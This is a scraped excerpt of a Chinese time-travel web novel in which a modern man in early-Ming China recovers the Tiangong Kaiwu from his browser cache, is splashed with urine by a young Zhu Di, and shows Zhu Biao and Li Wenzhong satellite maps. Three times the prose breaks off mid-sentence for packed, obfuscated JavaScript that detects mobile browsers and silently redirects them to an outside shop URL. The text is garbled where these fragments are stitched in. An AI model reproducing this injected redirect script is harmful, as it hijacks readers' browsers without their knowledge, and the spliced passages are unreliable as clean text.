他终于绝望地认识到了一个事实…… 大概,狗屎B站的视频是加密的…… 除非你是客户端缓存下载,不然在线看的,以他的水平是翻不出来的…… 心情大起大落,加三杯咖啡之力。 朱安宁的心跳都漏了一拍,差点气晕过去。 傻卵B站,改改改改,越改越傻逼,连自己看过的在线视频都不知道缓存到那里去了。 颤抖着的朱安宁,强行抑制住了自己骂街的冲动。 试图让自己冷静下来。 不对…… 视频网站的缓存现在应该都是加密的。 这种东西自己又不是程序猿这种奇怪的生物,弄不出来的。 但是网页文件缓存!!! 这个总不能加密了吧! 浏览器的缓存文件!自己是搜过天工开物原本的! 朱安宁马上回过了味来,又是一阵疯狂的翻找。 涩图……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378730|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 涩图…… 呃……盗版小说txt 兴趣有点广泛…… 朱安宁也不知道自己当时看的是pdf还是图片格式。 只能点了缩略图开始慢慢看。 绝大部分都是涩图…… 非常符合他这个年龄的爱好…… 最后在咖啡喝完之前,他终于点开了一份pdf,然后止不住地颤抖了起来。 泛黄的扫描件。 上面是勉强能看清的繁体字。 还有封面那硕大的宋应星三个字。 都昭示了,这就是他心心念念了许久的。 天工开物!!! 全本。 这是全本啊。 朱安宁最后还是忍不住,冲下了房车。 兴奋地大笑了起来。 “我日你嘛的,真是脑瘫啊!还有这么多资料在缓存文件这里,居然都忘了!” 这一叫不要紧。 直接是把包括朱棣在内的几个人都嚎了出来。 只见那几个小子,是穿着睡觉的底衣,一脸惊讶地从屋内跑出。 然后看见的是,癫佬一样的朱安宁。 李景隆缩了缩脖子,捅了捅朱棣。 “四哥 ……先生好像……好像不对劲啊……” 朱棣被李景隆一捅,也是有点恼火,回头瞪了他一眼。 “我又没瞎!这什么情况……老五,刘廌,你们是不是给朱哥下药了……” 朱棣又把目光投向了最后和朱安宁相处的朱橚和刘廌身上。 这说法自然是让二人苦笑不得。 “我们下什么药给先生啊……是他自己一直在喝那黑不溜秋,烧焦碳水似的饮物……”朱橚摆了摆手,示意自己无辜。 刘廌自然也是跟着朱橚一起摆手。 而此时的朱安宁,也是打开房车遮阳棚的灯,小院变得亮堂了不少。 众人都看见了朱安宁,那笑个不停的嘴脸。 最终,还是朱棣壮着胆子问了句。 “朱……朱哥……你莫不是撞邪了?” “你特么才撞邪,朱爷我好得很!爷今儿是高兴啊,高兴啊!” “朱哥你……做好梦了?”朱棣小心翼翼地接了句话。 几个人都是不约而同地站到了略微靠后的位置边上,等于是把朱棣拱到了最前面。 “好梦?对对对,这真就是个好梦啊!!!”朱安宁又猛地大笑了起来,把几个人整得是更加的莫名其妙。 朱安宁还在止不住地颤抖。 翻出农政全书,他都没有这么兴奋。 要知道,《天工开物》全书分为上中下三卷18篇。 附有123幅插图。 描绘了130多项生产技术和工具的名称、形状、工序! 涵盖了谷物、纺织、染色、谷物加工、制盐、食糖、食油、陶瓷、冶铸、舟车、锤煅、煤石烧制、造纸、五金、兵器、丹青、酒曲和珠玉的超级集大成神书!!! 而这神书最遗憾的就是,虽然是中国人所著!但是,因为种种原因,并没有怎么促进中国的进步,反而是便宜了棒子,脚盆鸡,甚至说流传到欧洲,对欧洲的冶铁行业影响巨大。 换言之,这是一本对中国以外的其他地区科技,起到了极大推动作用的超级著作…… 而这本著作,因为明末的动荡,和鞑子们的脑瘫,居然就这么在中国境内,消失了! 近代的国人,看到的《天工开物》,居然还是日本那边刻印的。 真是无比讽刺。 要是宋应星知道自己的呕心力作,实际上并未怎么帮到中国,不知道他还会不会写下这本书…… 朱安宁死死地盯住刚才在向他发问的朱棣。 狂笑了起来。 “这本书,是一场真正的技术革命!” “革命?”朱棣一脸问号。 这下不仅是李景隆缩脖子了,连朱橚刘廌刘畾都往后挪了挪身位。 “遭了,四哥,先生真的中邪了……” 几人在那拱着朱棣,想让朱棣往前走。 而朱安宁还未停下。 他还在自言自语。 “只要能在十四世纪就完成技术革新,让工业开始发展起来,再配合农业的发展,我靠,这不是文明六开局无限尤里卡攀科技么!” 朱安宁的话音,落下。 而朱棣没有听懂他的话语。 但是,这并不妨碍他。 把库房那边存的尿,浇到朱安宁身上。 “朱哥!童子尿!辟邪啊!!!” 第一百二十七章 要学就学金坷垃 尿很骚,还有点凉…… 甚至于,其实朱棣也不知道这尿是不是童子尿。 反正他只知道这是李景隆千辛万苦收集回来,准备用来和肥料用的。 百家尿都有的话,也应该有童子尿吧。 庄子里的孩童也不算少。 而朱安宁则比朱棣还要懵逼。 他就这么突然被浇了一身…… 什么个情况。 自己说不定可是可以促进古代科学进步的大功臣啊……怎么院子里感叹两句,发下少年狂,就被浇了一身奇怪的液体。 所以这这腥臊的液体是什么啊…… 在灯光下,他看到了提着桶,还保持着泼东西姿势的,有些畏缩的朱棣。 抬眼,还看到了远处的几个家伙,更是眼神闪躲。 朱安宁全身湿漉漉的。 觉得有点难顶。 当他把袖子凑到鼻子面前的时候,他变得更难顶。 分子是不断运动的,温度越高,运动越剧烈。 三十七度的体温下,气味分子很容易就进到了他的鼻腔深处。 在大脑皮层那里勾勒出了液体的名称…… 于是朱安宁,表情立马就丰富了起来,比刚才的癫狂模样,还要劲爆。 “伍燕!我日你嘛!辟尼玛的邪啊!” 他叫得无比凄厉,向始作俑者发出了对战邀请。 但是他这附魔肉体,那堪比大成圣体,谁敢与之一战? 朱棣吓得桶都不要了,直接丢到了地上,连滚带爬地跑向了李景隆那几人所在的方向,慌忙逃窜。 “救我!”他顾不得那么多,只希望赶紧把李景隆等人拉到自己的身前当个护盾。 “你不要过来啊!!!”而不远处那几个人,则不约而同地开始咆哮。 院中响起了,比刚才朱安宁还要凄厉的叫声。 是一阵混乱。 …… 时间来到半夜。 身子干净的人自然是已经睡下,比如李景隆,比如刘廌和刘畾。 而朱安宁的头还是湿漉漉的。 他刚才又洗了个澡。 洗了很久且洗得很认真。 朱棣也是如此。 两人都换了身衣裳,此时正站在树下。 借着灯光可以看到一脸阴沉的朱安宁,和不知所措的朱棣。 两人的目光交流终有尽时。 最后朱安宁还是选择了朴实无华的语言交流,他相信这样更能传达他的感情色彩。 “你是不是有病!我像中邪的样子?而且就算中邪了也不是说上来就泼尿吧!能不能文明点!你这地主家的儿子读了书也还是毛毛糙糙,能不能学学你大哥,多温文,多尔雅,都混到东宫去了!你呢?你呢?就这德行,未来北边打仗都懒得征你,丢你去看北大门都算是重用你了。” 他叉着腰,很想一棒槌锤死这伍燕,但是杀人是犯法的,他是良民。 所以他选择了用手指去戳朱棣的脑袋,顺便锐评了一下他。 因为太过恼火的缘故,后面说得是乱七八糟。 但是朱安宁并不觉得有问题,情感到位了就行。 一轮输出后,他觉得是舒服了许多。 而朱棣,自然是觉得很委屈。 自己多果断啊,找不到黑驴蹄子和糯米鸡血,那童子尿,不就是最好用的了么。 “朱哥,我们不是怕你撞鬼了么。”他一边躲朱安宁那根快要戳到他额头的手指,一边嘟囔道。 “还敢啵嘴!你说说,这光天化日朗朗乾坤!哪来的鬼!” “朱哥现在是晚上……” “呃,晚……晚上男鬼也不喜欢搞我这种男人吧,女鬼的话他敢来我就敢……哎,算了算了,休息休息。” 已经骂了许久的朱安宁,是终于累了,他摆了摆手,示意算了。 结果这时朱棣却来劲了。 这家伙凑到了边上问道。 “先生,究竟发生了什么,我们看你在那里大叫……” 朱安宁捋了捋湿漉漉的头发,没好气地回道。 “我高兴不行嘛?” “这也太……太高兴了吧。”被朱安宁怼了句,朱棣也是有点退缩。 “我寻到了法子改良火铳你信不信?”朱安宁白了一眼朱棣,正准备转身。 他就当是自己随便说点胡话而已,却没想到,这伍燕会出手拉住自己。 “真的?”朱棣很是惊讶。 改良火铳,那可不是说说就算了的。 要知道朱元璋其实是极为重视火器的。 宝源局,铸造厂,都是历史上可以找寻到痕迹的机构。 所以朱棣也对火枪,相当有研究。 不然他登基后,又怎么会下旨要大力改造这火门枪呢。 看着满脸好奇加兴奋的朱棣,朱安宁那是始料未及的。 “你弟折腾草药,你就喜欢折腾这些火枪是吧,起开起开,先睡觉,我一晚上被你们折腾来折腾去的,命都少了半条,我现在就是有点想法而已,等我想清楚了再说,而且再怎么样,也得等你哥来了才好聊吧,你哪懂那么多国家大事,小屁孩。” 一番白 眼加讥讽,饶是朱棣脾气好他也受不了了。 那是直接就轻哼了起来。 “朱哥……你最近口气大了好多啊……” “嘿,我可是太子封的东宫赞读啊,正儿八经的朝廷命官了,怎么,本大人议论下国家大事不行?我这是为国分忧。” “赞读?” 这话朱棣是第一次听。 而且这什么鬼官。 饶是朱棣都要在脑中检索了一阵,才想起这职位…… 不就是伴读么?九品吧……还是七品?! 大哥可真会挑啊。 这伴读那就真是纯闲职了,毕竟太子都二十好几了,都常务副皇帝了,还读个毛的书啊。 朱棣是笑也不是,回话又找不到合适的话语。 而朱安宁却也以为自己是终于镇住了这个胆敢偷袭朝廷命官的宵小,便甩了甩手,那是趁他不备,直接就钻进了房车里。 “哇!朱哥!”朱棣在门外叫了两声。 却依旧是没能叫开门。 其实朱棣是真的想和朱安宁谈谈火铳的……如果朱安宁是真的懂这些的话。 只是叫了几次,朱安宁都没有理会。 他也只能悻悻地往屋内走去。 而房车内的朱安宁,终于是可以坐回到位置上,歇息。 今晚真就是大起大落,对身体非常不好那种。 他不敢放朱棣上来,是有原因的。 他知道个屁的火铳结构和改良……那不得看过天工开物才懂啊…… 眼前的电脑屏幕还未熄灭。 朱安宁,决定,先把这关于天工开物的资料,先整理出来,省得哪天清缓存,什么都没了,那就真的是脑淤了。 —————————— 酒家是有提供睡觉的地方的。 毕竟天天有人喝醉,有人犯困。 搞些供人歇息的房间,那是既赚了钱银,又方便了客人……各种客人都方便,嘿嘿。 而在酒家房间床上醒来的宋慎现在很后悔。 倒不是他酒后乱性干了什么有违家训的事情……毕竟和他喝酒的人是方孝孺,方孝孺可老直男了,可是能夺取华夏史上下五千年唯一称号的那种直。 他后悔的是,昨天好像讲了很多有的没的。 讲就算了。 他好像还约了方孝孺去探那永乐庄。 本来这种酒局口嗨的事情,过去也就算了。 但是该死的。 这话是说给耐诛王方孝孺同志的……而现在这个铁头娃就站在他面前。 昨天倒竹子似地讲了一大堆,虽然说没有透露什么机要,但是永乐庄这个地名他是说了出去的,两人是围着那永乐庄的乡学,批判了一整个晚上…… 所以,他看着一身便装站在自己身前的方孝孺,那是一阵头痛。 “希直,头痛啊头痛啊,宿醉宿醉,改日再去吧,哈。“ “昨日我们不过饮了几壶,相林你酒量哪止这么点,赶紧走吧,晚了天气热。” 而方孝孺并没有给宋慎继续赖的机会,只见他一把把宋慎薅了起来,拉着就往外面走。 宋慎那是被拉得没了脾气。 这方孝孺又犟,力气还比自己大…… 今天可真是要一身骚了啊。 他只能开始祈祷,千万别出什么意料之外的事情。 让方孝孺去对着那学堂发发癫就算了。 自己和刘畾交情也不错,大不了事后道歉……哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378731|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 希望太子没有什么别的布置在那边…… 两人,就这样踏上了前往永乐庄的路上。 “希直,一会你见到那乡学的先生,也不要太过惊讶……” “怎么,那乡学里还能有什么隐士高人不成?” “高人倒不是,哎,等你去了就知道了……千万不要莽撞哈……”宋慎是叹了口气,即便他脑子在不好使,也知道刘畾的身份是不能公开的…… 而方孝孺却无所谓地摇了摇头。 去了再说。 这天下的大儒,他哪个不是认识? 看着方孝孺的样子,宋慎自然是知道自己的好友那是完全没有把自己的话听进去,毕竟这方孝孺年少气盛,又仕途不顺,那是火气正大着的时候。 完了,惹了什么乱子。 自己指不定挨一刀,还要连累告老还乡的老爷子…… 真的完了。 宋慎是一阵哀嚎,只想给昨晚的自己一巴掌。 而令宋慎没想到的是,身后还有一波人,这波人正是朱标和李文忠。 这两人也走到了官道上,目的地自然也是永乐庄。 朱标,是想去看看其他舆图的情况,顺便问清楚关于铁矿的事情,虽然他已经和朱元璋派了人去勘探。 但是一时半会还没办法得到确切的消息。 两人在路上不紧不慢地走着,所以并没有和前方的方孝孺两人碰面。 而我们的朱安宁同志。 现在还在睡觉…… 毕竟昨晚折腾得有点晚,他好好地把那些缓存文件整理到了其他硬盘里,还发现了不少好东西,只是一时半会没办法分门类别好。 所以, 他并不知道,村外,这时候已经有两拨人陆续在赶来。 “嗯?这田地看起来要比隔壁的规整些啊,相林。” 此时的方孝孺和宋慎,已经进入到了永乐庄的地界附近。 “不过是多了些水渠罢了,昨日来时我就看到了。” 宋慎还在想着到时怎么跟朱标解释……随口回应道。 而村口的那几名亲卫,本来是准备上来盘问的了,但是一看是宋慎,那便也停了下来。 两人就怎么拐过了那棵歪脖子树,进到了永乐庄的乡道里。 “相林,你今日心不在焉啊,这边还是这边?”方孝孺皱起眉头,看着前面的岔路指了指。 “哎……”宋慎也是长叹了一口气,船到桥头自然直吧……他指了指前方,那里真是永乐庄乡学所在的地方。 两人越过田埂,走到了更里面的乡道上。 不远处的几个农民,那是好奇地站了起来,然后又弯腰下去。 “老柳,怎么最近这么多人来咱们庄子,前几日不是还有人过来闹事么?”刚弯下腰的柳婶,那是皱起了眉头,看向了旁边的老柳:“这两人没见过啊,看起来也不像是附近村子里的人……会不会又是来……” 而老柳,也是警惕地弯下了腰,瞄了瞄远处的宋慎和方孝孺。 “我日踏马的这群龟儿子真是闲得蛋疼是吧,天天跑我们庄子来闹事,我看这两娃子贼眉鼠眼的一看就不是好人,前几日几个外人差点把咱们娃给揍了,这两个我看也不是什么好货,你在这盯着,我去叫燕爷周爷和三江爷他们几个。” “好好好,你快去快去,他们应该在荒田那附近。” 老柳寻了个缺口,很快消失在田野中。 而目光一直锁定在乡学上的宋慎和方孝孺,自然是没有发现这些小细节的。 两人三步并两步,很快就走到了乡学附近。 只听见,里面传来了郎朗的读书声。 那是像模像样的感觉,这让宋慎不免是愣了愣。 什么情况? 昨天不是还在那里讲什么肥料还有草啊稻谷之类的事情的么,怎么今天就读上书了? 难道是昨天和自己那么一聊,那刘畾开窍了?知道圣贤之道不可亵渎了? 那感情好啊。 宋慎那是立马就眉开眼笑了起来。 方孝孺也是有点意外,这跟说的好像有点点不一样啊。 两人凑到了墙根附近。 那是终于听清楚了孩童们念的东西。 “氮磷钾,叶根茎,钾抗倒伏磷抗旱,枝叶黄瘦因缺氮,氮长叶子磷长果,有了钾肥腰杆粗!” 第一百二十八章 咱听说洪武是相当的抠门 “相林……里面……”方孝孺很懵。 他熟读诗书,那是满腹经纶,什么书没看过,什么句子没读过,他自信就是再生僻的说法,他也能听懂。 但是……这次不行,每个字他都听得懂是什么意思。 但是串起来……那就是天书啊。 穿着常服的方孝孺,靠在墙边,也不敢多做什么动作。 整个身子也就脖子以上方便动弹,只能目瞪口呆地看向了自己的同伴。 而宋慎也好不到哪里去。 虽然他的名气和才学都没有方孝孺高,但是也是实打实的顶尖做题家啊,而现在的他,也是……一脸问号。 同样靠在墙根那里,是听得一头雾水。 什么氮有黄钾高什么乱七八糟的,关键是里面的孩童还念得挺整齐的。 两人对视了一眼,都看懂了对方的疑惑…… 很明显的事情是,两人都没听懂里面在朗读什么鬼东西。 由于是在墙根偷听,宋慎和方孝孺也是没法看见里面的情况。 只能听见里面有个明显不是孩童的声音,朗声说道:“大家好好记,这些都是未来用得上的,须知道,纸上学来终觉浅,等到这一季的作物收成了,下一季我们学堂周围会专门划几块田出来,让大家种的,看谁种得好,收成多,谁就是学得最好的那个!” “先生!你呢?你也种么?到时你种不过我们怎么办?嘻嘻。” “啧胡修道,又皮痒了是呗,我能当你先生,自然是种得要比你好的啊,你们爹娘不都是我们几个先生教的?” “那……那我们就不能……什么青什么蓝了么?” “青出于蓝而胜于蓝是吧……呼,你们几个,其他科目也给我上点心!识字也是很重要的,知道么?” “知道了~~~” “呼,真是的,说起种田你们就眉飞色舞,说起识字就一个个蔫了似的,不怕我抽你们啊……” “周爷你最好了,怎么舍得抽我们嘛,而且廌爷的话本比种田有意思多了。” “嘻嘻,就是啊。” 学堂里欢快了起来。 本来刚才朗读的时候还有点学堂的氛围,但是陡然间,现在又变得闹腾不已。 哪有方孝孺和宋慎心中学堂该有的样子。 “真是有辱圣学。”只见方孝孺是直接皱起了眉头。 而宋慎却忽然觉得有点不对劲,里面说话的那个先生……声音怎么好像在哪里听过。 这……真的不对劲…… 在宋慎和方孝孺蹲墙角的时候。 太子爷朱标也带着李文忠来到了永乐庄。 只是他们的目的地自然不可能是这乡学,他们越过驿站后,那是直奔朱安宁的院子。 敲门声很快响起,是李文忠在敲门。 朱标和李文忠开始在门口驻足,等待开门。 结果等了半晌,都没人回答。 看见等的时间有点久。 “殿下,我再敲一次?”李文忠是等得有点不耐烦。 只见他手上更用力了些,把门是敲得砰砰响。 直到里面传来了脚步声,他才停下。 两人只听见里面传来了嘟囔声,有点含混不清……但是依稀还是能听见是在说,谁啊,敲这么大声,要死啊之类的。 伴随着吱呀的声响,那被李文忠敲了半天的门终于是打开了。 两人也看清了开门的人,当然了,里面的人,也是迎面就看清了来访的两人。 于是,嘟囔声戛然而止。 而李文忠,却还是扬起了手,门是没法敲了,人他还是再想敲一敲的。 “骂够没有?!”只见李文忠沉声喝道,把开门的李景隆,是吓得抖了三抖。 “爹……太子爷,你们怎么来了……”李景隆哪还有刚才的拖沓懒散劲,早就换了一副殷勤模样,毕竟他爹的手还举在那里,刮下来,是会痛的。 “知道是谁来了就好,九江你是不是在外头呆的太舒服了?!”李文忠还在训斥自己的儿子。 这场景却也是让朱标看得哭笑不得。 真就是天下父子都一个样是吧,自家老子骂弟弟们的时候也是这样吹胡子瞪眼。 不过比起来,李文忠算是文雅点的了。 好歹到目前为止还没上手。 不过看李文忠那扬起的手……动手,好像也不是不可能的样子。 “好了好了,咱们先进去吧。”朱标是摆了摆手,算是变相解救了李景隆,而李景隆也终于可以松一口气。 “对了,在外头叫我伍哥就行。”朱标在踏入门槛之时,又扭头对李景隆补充了一句。 李景隆那是屁颠屁颠地点了点头。 没想到李文忠这手终于是忍不住拍了下去。 “嘴巴糊住了?不会回话?!” 被自家老爹拍了一个踉跄的李景隆哪能不知道自己老爹生气,连忙开口回道:“好的伍哥好的伍哥。” 于是,朱标带头,三人很快进到了院子里。 和平常并无二致,今儿却多少带点味道。 朱标疑惑地问道:“怎么有点骚?” 听朱标这么一说 ,连李文忠都忍不住嗅了嗅,然后自然也是皱起了眉头。 “确实有点味道……九江,怎么回事?” “呃……昨日,撒了点尿到院里。”李景隆的解释,有点慢,也有点犹豫……毕竟解释起来很麻烦。 而且,确实很不好解释。 当然朱标也不是什么矫情的人,况且这味道也不算太过浓烈,只见朱标找了个位置坐了下来,开口对李景隆问道。 “你们朱哥呢?还没起?” 只见朱标环视了一下四周,确实没有发现朱安宁的踪迹。 李景隆那是连忙凑了过去回道:“伍哥,先生还在房中呢,昨夜他好似……呃,熬夜了,今日大概会晚些起吧。” “好吧,那你在这里干嘛。” “其他人要么外面下田了,要么去学堂里了,我还得伺候这几片地啊,按先生的说法,现在是施肥的最好时机了,收成好不好就看这段时间。” 李景隆对着太子爷不敢胡言乱语,是切切实实地在那好好解释。 “辛苦你了,到时有个好收成,你当记一功啊。” 朱标则拍了拍李景隆,笑了起来。 站在他身旁的李文忠,也终于是缓和了些脸庞。 太子夸自己儿子,自己再板着脸,也不像话吧。 而在几人说话的时候,只见那房车晃了晃,明显是有人起来了。 这自然是一下就吸引住了三人的目光。 朱安宁睡眼朦胧地推开了房车门,然后探出了个脑袋,看到这一圈人,他的状态立马由半懵不懵的状态转到了清醒。 “我去,这什么时辰了?这么多人?啊……是伍哥啊,还有您……您是伍爷外甥……” “呵呵,咱年纪也大,安宁小弟你不嫌弃叫我一声李叔就行。” “诶,伍哥李叔,没想到你们会来,我这刚起身,你们等会……我洗漱一下。”只见朱安宁没等两人回话,那是直接又关上了房车门。 而不过些许时间,换好常服的朱安宁,再次打开了车门,下了车。 虽是洗漱完毕的样子,但是怎么看都还是有颓。 特别是那大大的黑眼圈。 此时的李景隆,已经识趣地退开,想都不用想,这个时间点,太子爷和自己老爹过来这里,肯定是有事情要谈的。 总不能是来看望自己的吧,所以说,自己就别瞎掺和了,主动消失最为安全。 朱标看了眼朱安宁的样子,多少有些惊讶。 “安宁小弟,你昨日没睡好?哦对了,三江说你熬夜了。” “熬夜?”朱安宁打了个哈欠,然后恢复了点精神:“啊……对,啊对了,伍哥,我这边还有……”他说话说了一半,然后停了下来,眼睛是若有若无地瞟了一眼坐在另一边的李文忠。 朱标是何等人物,他一下就看出了朱安宁的迟疑。 “安宁小弟,没关系的,都是自家人,你是想把后面的舆图给我?” 他毫不拖泥带水,直接点明主题。毕竟他来这的主要目的就是这个。 朱安宁听到这话,也没有什么好犹豫。 毕竟这伍文一看就是比他老爹还要靠谱得多的人,他说没问题那就没问题吧,反正到时还要靠他献给太子。 “嗯,那我拿下来?” “劳烦安宁小弟了。” 两人的对话很是直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378732|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只见朱安宁,转身就掏出了几张A4纸,这纸张,不管是朱标还是李文忠,他们都早已熟悉。 那纸张可以拼接成一副更大的舆图。 于是,那北边的地形,就这么在两人眼前铺陈了开来。 朱标还算克制,但是嘴角也是扬起了弧度,任谁来看都能知晓他现在的心情一定是愉悦的。 而去过这地方打仗的李文忠,那就没有办法这么克制了。 他之前已经看过了这卫星地图的一角,是确认过真伪的。 而现在,是全图! 是iseedeadpeople的那种全图。 他抑制不住地颤抖了起来。 像个颠佬一样开始抚摸那些A4纸。 这模样自然是把朱安宁给吓了一跳。 什么情况? 地图痴汉? 他当然不知道李文忠的心路历程。 去到北边,他李文忠确实不是很熟路,打仗打得稀碎……现在看到全图,眼睛不冒光就有鬼了。 或者说,他朱安宁把这堆地图,随便给到任何一个武将看,估摸明朝这群武将们,都能跳起来。 “有了这全图,元人还能往哪里逃!”只见李文忠一拍桌子,那是丝毫不惜力的那种。 桌子吱呀地叫唤了一声。 所以李文忠这一掌,不仅是拍得朱安宁一阵心慌,还让他很是心疼。 老子的不知道什么木桌!!! 虽然没有问蒯富什么材料,应该也不便宜吧!我rnm这可是实木的啊! 正当朱安宁准备上去摸一摸自己的桌面的时候,朱标一下站了起来,挤住了他的位置。 “怎样?” 本来还算克制的朱标,看到李文忠这副样子,也终于是忍不住站了起来。 两人一同凑到了那堆A4纸面前。 “如果这些山川地形真的分毫不差的话,那这次北征,十拿九稳!上次就是元人熟悉地形,我们则相对要陌生许多,那是边打边探路,始终要吃亏许多,这次有这些图,我们探路的速度能快上许多!真图真的是神了啊,先前我们用的舆图,哪能这么直接地看出山川高低和大小啊……” 李文忠在那感叹个不停。 朱标则是愉快地松了口气。 不枉他抽时间亲自来一次,看李文忠的样子就知道,这些图,很有意义。 一想到这第三次北征也许就是最后一次,完全打垮元人这个已经让他们两父子魂牵梦绕了好多年的目标,已经能看到解决的曙光,连朱标这种克制的人都不免激动了起来。 于是。 他也狠狠地拍了下朱安宁的实木桌。 又是一阵吱呀声,惹得朱安宁又一阵心疼。 神金……激动就拍地板……别薅着自己的桌子拍! 他很想说上两句,却又怕这两人激动起来会不会连自己都拍,便也没有多嘴。 而且这李叔怎么回事,他参加过第二次北征? 不过看他样子也还算魁梧,是个老兵啊? 不对,能从那里回来,至少应该是有点军功的吧,怪不得能看懂自己的地图哦。 朱安宁一边心疼自己的桌子,一边开始打量起了李文忠。 三人就这么安静了下来。 最后还是朱标先回过神来,他没有理会还在勘图的李文忠,朱标径直走到了朱安宁的身边,哈哈大笑了起来。 “安宁小弟,不对,现在要叫朱大人了对吧,昨日应该有人传过口谕了。” “确实确实。”听到朱标的话,朱安宁也是笑了起来:“还是得谢谢伍哥你帮我在太子面前美言。” “太子说,你所做之事,原本应该有更多的嘉奖,但是念你不愿为官,便折中给了个东宫赞读的职位,怎么样,满意么?” 朱标笑眯眯地看向了朱安宁。 他想得很简单,只要接受了这闲职,那接下来就简单了,只要慢慢给他提上去,逐步逐步试探就行。 而朱安宁,却没有马上回答朱标的问题。 只见他沉思了片刻。 然后才开的口。 “伍哥,这俸禄,能有多少啊?听过咱们洪武爷,那是抠门到咸菜都能放三顿吃的那种,不会我当官还要倒贴钱吧?” 第一百二十九章 你就是那个十族耐诛王? “燕爷,周爷,我跟你们说,那两个贼人,长得是五大三粗的,一脸凶相,看起来就不是什么好人啊……诶,走这边。”老柳正带着朱棣和朱橚,去往那学堂的方向。 他的描述有些骇人。 像极了应天府街口的那些大妈的口吻。 田埂有些泥泞,远处的农夫们都有些好奇地看向了这边,还有几个甚至凑到了一起,纷纷向对方打探事情。 甚至有几个大胆的那是直接喊了起来。 “燕爷,周爷,又出什么事了?要咱几个帮忙么?” “嗨,你们兄弟几个好好种田,永乐庄能有什么事,就算有,燕爷和周爷摆平不了?”结果回答他们的是老柳。 从田埂到乡道,水渠交错。 但是朱棣等人早已习惯。 甚至说懒得走那渡渠的小木桥,朱棣是直接就跨了过去。 朱橚和老柳见状,自然也是连忙跟上。 朱棣那是满脸的煞气。 这三天两头有人上来闹事,换做是脾气再好的人,也会觉得不爽。 更别说是朱棣的脾气……也就那样。 只见他走得是虎虎生风,跟在他身边的朱橚那是多少有点无奈。 “四哥四哥啊,莫要冲动啊,那边孩子多,打起来伤了花花草草也不好看啊。” 朱橚是觉得相当奇怪的。 前几日,蓝玉都在这里折戟。 还有谁会不开眼来这里搞事嘛。 那些勋贵土绅们,不了解永乐庄是具体什么情况情有可原,但是他们应该也是有点脑子的吧。 他总觉得今儿这事不太对头,所以才想劝一下自己四哥不要冲动。 很可惜的是,他的劝说,是无效的。 三人很快就走到了乡学附近,果不其然,两个鬼鬼祟祟的人影,就站在那墙根下方,杂草遮挡加上视线问题,确实也是没怎么看清人是谁,但是身形还是能看个轮廓的。 “这叫五大三粗?老柳你有眼疾莫要拖,实在不行让我五弟看看……”朱棣看着那墙根下的人影,是一时之间有些错愕:“这两瘦不拉几的,怕不是三江都打不过……” 朱棣说得没错。 作为标准的文人。 宋慎和方孝孺是标准的细瘦身材。长得毫无威慑力不说,蜷缩在墙根下,只有猥琐感……那是毫无威胁感。 两人就是听着里面那先生授课的内容。 你一句岂有此理。 他一句有违常理。 摇头晃脑地抨击着永乐庄职业技术学院的课程设计。 毫无警惕心的两人,哪知道远处已经有三个人盯上了他们。 而朱棣等人,看清楚宋慎他们的身形后都是不约而同的松了口气。 包括老柳。 这让朱棣很是不满,自己紧绷了半天,结果就这…… “燕爷,这不是离得远么,我躲在那田后面,也确实是没怎么看清……” 他连忙解释了两句。 却让朱棣更是不耐烦。 “行了行了,你回去干活吧,就这两瘦猴,我一拳一个,抓起来问问什么情况就对了。”他扬了扬手,示意战斗力为五的地球农夫可以先行告退,省得碍着自己发挥。 “好好好……那我先回田里了。”老柳也是知道自己带路党的工作是做的差不多的了,至于谎报军情这事,燕爷好像也没怪他,便讪笑了两句,往后偷偷溜回了小道中。 待到老柳的身影消失朱橚才开的口。 只见他一手拉住了朱棣:“四哥,别下手太重啊……这两人远看就跟竹竿似的……要不问清楚先?贸贸然伤了人,父皇会有责罚的……” 朱橚可是老倒霉蛋了,从小他可没少挨责罚。 所以才提醒朱棣要注意。 朱棣也是知道自己胞弟是关心自己,但是还是有些不耐烦。 “你看那两人,虽说五大三粗是那老柳胡说八道,但是贼眉鼠眼总是没错的,你看普通人会蹲在墙根下畏畏缩缩的样子么?” “呃……确……确实也是。” 朱橚还想拉一把朱棣。 却没想到他一下就挣脱了自己的手。 借着小道边上的草丛,沿着水渠摸了上去。 这让朱橚是有些无奈的,阻止不了自己四哥的他,也只好跟着摸上去。 他想得很简单,多个人,快些控制住场面也好。 反正对方人也不多,只要不发展成前几日那种乱斗,就好。 两拨人的距离,急切地接近着。 直到还有几步距离的时候。 朱棣是一个大鹏展翅,跳了起来。 不说宋慎和方孝孺被吓了个半死。 连跟在身后的朱橚,都是看突了眼睛。 当然,这招的效果也是相当显著的。 被吓懵逼的宋慎和方孝孺,那是跑又没反应过来,叫也还未叫出声。 就被朱棣,一把把脑袋按进了泥地里。 